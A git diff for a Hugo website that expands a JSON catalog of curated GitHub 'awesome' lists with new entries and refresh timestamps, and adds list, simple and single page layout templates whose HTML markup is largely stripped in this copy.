"gh": "https://github.com/PatrickJS/awesome-cursorrules", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-deepseek-integration", + "name": "awesome-deepseek-integration", + "group": "tools", + "path": "awesome/tools/awesome-deepseek-integration", + "url": "https://github.com/deepseek-ai/awesome-deepseek-integration", + "readme": "README.md", + "gh": "https://github.com/deepseek-ai/awesome-deepseek-integration", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-design-patterns", + "name": "awesome-design-patterns", + "group": "tools", + "path": "awesome/tools/awesome-design-patterns", + "url": "https://github.com/DovAmir/awesome-design-patterns", + "readme": "README.md", + "gh": "https://github.com/DovAmir/awesome-design-patterns", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-design-tools", + "name": "awesome-design-tools", + "group": "tools", + "path": "awesome/tools/awesome-design-tools", + "url": "https://github.com/goabstract/Awesome-Design-Tools", + "readme": "README.md", + "gh": "https://github.com/goabstract/Awesome-Design-Tools", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-docker", + "name": "awesome-docker", + "group": "tools", + "path": "awesome/tools/awesome-docker", + "url": "https://github.com/veggiemonk/awesome-docker", + "readme": "README.md", + "gh": "https://github.com/veggiemonk/awesome-docker", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-flutter", + "name": "awesome-flutter", + "group": "tools", + "path": "awesome/tools/awesome-flutter", + "url": "https://github.com/Solido/awesome-flutter", + "readme": "README.md", + "gh": "https://github.com/Solido/awesome-flutter", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-for-beginners", + "name": "awesome-for-beginners", + "group": "tools", + "path": "awesome/tools/awesome-for-beginners", + "url": "https://github.com/MunGell/awesome-for-beginners", + "readme": "README.md", + "gh": "https://github.com/MunGell/awesome-for-beginners", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-github-profile-readme", + "name": "awesome-github-profile-readme", + "group": "tools", + "path": "awesome/tools/awesome-github-profile-readme", + "url": "https://github.com/abhisheknaiidu/awesome-github-profile-readme", + "readme": "README.md", + "gh": "https://github.com/abhisheknaiidu/awesome-github-profile-readme", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, { "slug": "awesome-go", "name": "awesome-go", @@ -95,7 +330,48 @@ "path": "awesome/tools/awesome-go", "url": "https://github.com/avelino/awesome-go", "readme": "README.md", - "gh": "https://github.com/avelino/awesome-go" + "gh": "https://github.com/avelino/awesome-go", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-hacking", + "name": "awesome-hacking", + "group": "tools", + "path": "awesome/tools/awesome-hacking", + "url": "https://github.com/Hack-with-Github/Awesome-Hacking", + "readme": "README.md", + "gh": "https://github.com/Hack-with-Github/Awesome-Hacking", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-interview-questions", + "name": "awesome-interview-questions", + "group": "tools", + "path": "awesome/tools/awesome-interview-questions", + "url": "https://github.com/DopplerHQ/awesome-interview-questions", + "readme": "README.md", + "gh": "https://github.com/DopplerHQ/awesome-interview-questions", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-ios", + "name": "awesome-ios", + "group": "tools", + "path": "awesome/tools/awesome-ios", + "url": "https://github.com/vsouza/awesome-ios", + "readme": "README.md", + "gh": "https://github.com/vsouza/awesome-ios", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-java", + "name": "awesome-java", + "group": "tools", + "path": "awesome/tools/awesome-java", + "url": "https://github.com/akullpp/awesome-java", + "readme": "README.md", + "gh": "https://github.com/akullpp/awesome-java", + "refreshedAt": "2026-09-05T00:51:36.573Z" }, { "slug": "awesome-mac", @@ -104,7 +380,88 @@ "path": "awesome/tools/awesome-mac", "url": "https://github.com/jaywcjlove/awesome-mac", "readme": "README.md", - "gh": "https://github.com/jaywcjlove/awesome-mac" + "gh": "https://github.com/jaywcjlove/awesome-mac", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-macos-command-line", + "name": "awesome-macos-command-line", + "group": "tools", + "path": "awesome/tools/awesome-macos-command-line", + "url": "https://github.com/herrbischoff/awesome-macos-command-line", + "readme": "README.md", + "gh": "https://github.com/herrbischoff/awesome-macos-command-line", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-openclaw-skills", + "name": "awesome-openclaw-skills", + "group": "tools", + "path": "awesome/tools/awesome-openclaw-skills", + "url": "https://github.com/VoltAgent/awesome-openclaw-skills", + "readme": "README.md", + "gh": "https://github.com/VoltAgent/awesome-openclaw-skills", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-php", + "name": "awesome-php", + "group": "tools", + "path": "awesome/tools/awesome-php", + "url": "https://github.com/ziadoz/awesome-php", + "readme": "README.md", + "gh": "https://github.com/ziadoz/awesome-php", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-react", + "name": "awesome-react", + "group": "tools", + "path": "awesome/tools/awesome-react", + "url": "https://github.com/enaqx/awesome-react", + "readme": "README.md", + "gh": "https://github.com/enaqx/awesome-react", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-react-components", + "name": "awesome-react-components", + "group": "tools", + "path": "awesome/tools/awesome-react-components", + "url": "https://github.com/brillout/awesome-react-components", + "readme": "README.md", + "gh": "https://github.com/brillout/awesome-react-components", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-remote-job", + "name": "awesome-remote-job", + "group": "tools", + "path": "awesome/tools/awesome-remote-job", + "url": "https://github.com/lukasz-madon/awesome-remote-job", + "readme": "README.md", + "gh": "https://github.com/lukasz-madon/awesome-remote-job", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-rust", + "name": "awesome-rust", + "group": "tools", + "path": "awesome/tools/awesome-rust", + "url": "https://github.com/rust-unofficial/awesome-rust", + "readme": "README.md", + "gh": "https://github.com/rust-unofficial/awesome-rust", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-scalability", + "name": "awesome-scalability", + "group": "tools", + "path": "awesome/tools/awesome-scalability", + "url": "https://github.com/binhnguyennus/awesome-scalability", + "readme": "README.md", + "gh": "https://github.com/binhnguyennus/awesome-scalability", + "refreshedAt": "2026-09-05T00:51:36.573Z" }, { "slug": "awesome-selfhosted", @@ -113,58 +470,111 @@ "path": "awesome/tools/awesome-selfhosted", "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "readme": "README.md", - "gh": "https://github.com/awesome-selfhosted/awesome-selfhosted" + "gh": "https://github.com/awesome-selfhosted/awesome-selfhosted", + "refreshedAt": "2026-09-05T00:51:36.573Z" }, { - "slug": "the-book-of-secret-knowledge", - "name": "the-book-of-secret-knowledge", + "slug": "awesome-shell", + "name": "awesome-shell", "group": "tools", - "path": "awesome/tools/the-book-of-secret-knowledge", - "url": "https://github.com/trimstray/the-book-of-secret-knowledge", + "path": "awesome/tools/awesome-shell", + "url": "https://github.com/alebcay/awesome-shell", "readme": "README.md", - "gh": "https://github.com/trimstray/the-book-of-secret-knowledge" - } - ] - }, - { - "slug": "development", - "name": "Разработка", - "repos": [ + "gh": "https://github.com/alebcay/awesome-shell", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, { - "slug": "awesome-nodejs", - "name": "awesome-nodejs", - "group": "development", - "path": "awesome/development/awesome-nodejs", - "url": "https://github.com/sindresorhus/awesome-nodejs", - "readme": "readme.md", - "gh": "https://github.com/sindresorhus/awesome-nodejs" + "slug": "awesome-sysadmin", + "name": "awesome-sysadmin", + "group": "tools", + "path": "awesome/tools/awesome-sysadmin", + "url": "https://github.com/awesome-foss/awesome-sysadmin", + "readme": "README.md", + "gh": "https://github.com/awesome-foss/awesome-sysadmin", + "refreshedAt": "2026-09-05T00:51:36.573Z" }, { - "slug": "awesome-python", - "name": "awesome-python", - "group": "development", - "path": "awesome/development/awesome-python", - "url": "https://github.com/vinta/awesome-python", + "slug": "awesome-system-design-resources", + "name": "awesome-system-design-resources", + "group": "tools", + "path": "awesome/tools/awesome-system-design-resources", + "url": "https://github.com/ashishps1/awesome-system-design-resources", "readme": "README.md", - "gh": "https://github.com/vinta/awesome-python" - } - ] - }, - { - "slug": "systems", - "name": "Системы & Языки", - "repos": [ + "gh": "https://github.com/ashishps1/awesome-system-design-resources", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, { - "slug": "papers-we-love", - "name": "papers-we-love", - "group": "systems", - "path": "awesome/systems/papers-we-love", - "url": "https://github.com/papers-we-love/papers-we-love", + "slug": "css-protips", + "name": "css-protips", + "group": "tools", + "path": "awesome/tools/css-protips", + "url": "https://github.com/AllThingsSmitty/css-protips", + "readme": "README.md", + "gh": "https://github.com/AllThingsSmitty/css-protips", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "data-engineer-handbook", + "name": "data-engineer-handbook", + "group": "tools", + "path": "awesome/tools/data-engineer-handbook", + "url": "https://github.com/DataExpert-io/data-engineer-handbook", + "readme": "README.md", + "gh": "https://github.com/DataExpert-io/data-engineer-handbook", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "github-cheat-sheet", + "name": "github-cheat-sheet", + "group": "tools", + "path": "awesome/tools/github-cheat-sheet", + "url": "https://github.com/tiimgreen/github-cheat-sheet", + "readme": "README.md", + "gh": "https://github.com/tiimgreen/github-cheat-sheet", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "open-source-ios-apps", + "name": "open-source-ios-apps", + "group": "tools", + "path": "awesome/tools/open-source-ios-apps", + "url": "https://github.com/dkhamsing/open-source-ios-apps", + "readme": "README.md", + "gh": "https://github.com/dkhamsing/open-source-ios-apps", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "open-source-mac-os-apps", + "name": "open-source-mac-os-apps", + "group": "tools", + "path": "awesome/tools/open-source-mac-os-apps", + "url": "https://github.com/serhii-londar/open-source-mac-os-apps", + "readme": "README.md", + "gh": "https://github.com/serhii-londar/open-source-mac-os-apps", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "ruview", + "name": "ruview", + "group": "tools", + "path": "awesome/tools/ruview", + "url": "https://github.com/ruvnet/RuView", + "readme": "README.md", + "gh": "https://github.com/ruvnet/RuView", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "the-book-of-secret-knowledge", + "name": "the-book-of-secret-knowledge", + "group": "tools", + "path": "awesome/tools/the-book-of-secret-knowledge", + "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "readme": "README.md", - "gh": "https://github.com/papers-we-love/papers-we-love" + "gh": "https://github.com/trimstray/the-book-of-secret-knowledge", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] } ], - "total": 13 + "total": 51 } diff --git a/layouts/_default/list.html b/layouts/_default/list.html new file mode 100644 index 000000000..15b54ab53 --- /dev/null +++ b/layouts/_default/list.html @@ -0,0 +1,118 @@ +{{ define "main" }} + {{ .Scratch.Set "scope" "list" }} + {{ $enableToc := .Params.showTableOfContents | default (site.Params.list.showTableOfContents | default false) }} + {{ $showToc := and $enableToc (in .TableOfContents " + {{ if .Params.showBreadcrumbs | default (site.Params.list.showBreadcrumbs | default false) }} + {{ partial "breadcrumbs.html" . }} + {{ end }} +

    + {{ .Title | emojify }} +

    +
    + {{ partial "article-meta/list.html" (dict "context" . "scope" "single") }} +
    + + + {{/* Description (markdown content) */}} + {{ $showToc := false }} + {{ if .Params.showTableOfContents | default (site.Params.list.showTableOfContents | default false) }} + {{ if in .TableOfContents " + {{ if $showToc }} +
    +
    + {{ partial "toc.html" . }} +
    +
    + {{ end }} +
    + {{ .Content }} +
    + + + {{/* Comments */}} + {{ partial "article-comments.html" . }} + + {{/* Related */}} + {{ if .Params.showRelatedContent | default (.Site.Params.article.showRelatedContent | default false) }} + {{ partial "related.html" . }} + {{ end }} + + {{/* Recent articles (on blog index) */}} + {{ if eq .Section "blog" }} + {{ if site.Params.homepage.showRecent | default true }} + {{ partial "recent-articles/main.html" . }} + {{ end }} + {{ end }} + + {{/* Articles grid */}} + {{ if gt .Pages 0 }} + {{ $cardView := .Params.cardView | default (site.Params.list.cardView | default false) }} + {{ $cardViewScreenWidth := .Params.cardViewScreenWidth | default (site.Params.list.cardViewScreenWidth | default false) }} + {{ $groupByYear := .Params.groupByYear | default (site.Params.list.groupByYear | default false) }} + {{ $orderByWeight := .Params.orderByWeight | default (site.Params.list.orderByWeight | default false) }} + {{ $groupByYear := and (not $orderByWeight) $groupByYear }} + + {{ if not $cardView }} +
    + {{ if not $orderByWeight }} + {{ range (.Paginate (.Pages.GroupByDate "2006")).PageGroups }} + {{ if $groupByYear }} +

    + {{ .Key }} +

    + {{ end }} + {{ range .Pages }} + {{ partial "article-link/list.html" . }} + {{ end }} + {{ end }} + {{ else }} + {{ range (.Paginate (.Pages.ByWeight)).Pages }} + {{ partial "article-link/simple.html" . }} + {{ end }} + {{ end }} +
    + {{ else }} + {{ if .Site.Params.homepage.cardViewFullWidth | default false }} +
    + {{ range (.Paginate (.Pages.ByDate)).Pages }} + {{ partial "article-link/card.html" . }} + {{ end }} +
    + {{ else }} +
    + {{ range (.Paginate (.Pages.ByDate)).Pages }} + {{ partial "article-link/card.html" . }} + {{ end }} +
    + {{ end }} + {{ end }} + {{ else }} +
    +

    + {{ i18n "list.no_articles" | emojify }} +

    +
    + {{ end }} + + {{/* Pagination */}} + {{ partial "pagination.html" . }} +{{ end }} diff --git a/layouts/_default/simple.html b/layouts/_default/simple.html new file mode 100644 index 000000000..1940e2ba8 --- /dev/null +++ b/layouts/_default/simple.html @@ -0,0 +1,25 @@ +{{ define "main" }} + {{ .Scratch.Set "scope" "simple" }} + + {{/* Header */}} +
    + {{ if .Params.showBreadcrumbs | default (site.Params.list.showBreadcrumbs | default false) }} + {{ partial "breadcrumbs.html" . }} + {{ end }} +

    + {{ .Title | emojify }} +

    +
    + {{ partial "article-meta/list.html" (dict "context" . "scope" "single") }} +
    +
    + + {{/* Content */}} +
    + {{ if .Content }} +
    + {{ .Content }} +
    + {{ end }} +
    +{{ end }} diff --git a/layouts/_default/single.html b/layouts/_default/single.html index 33b3d3cac..de0ef50b9 100644 --- a/layouts/_default/single.html +++ b/layouts/_default/single.html @@ -1,35 +1,7 @@ - - - - - - - {{ .Title }} · {{ site.Title }} - - - - {{/* Fonts */}} - - - - - {{/* CSS */}} - {{ with resources.Get "css/compiled.css" }} - - {{ end }} - - {{/* JS */}} - - - - +{{ partial "head.html" . }} +{{ partial "header.html" . }} -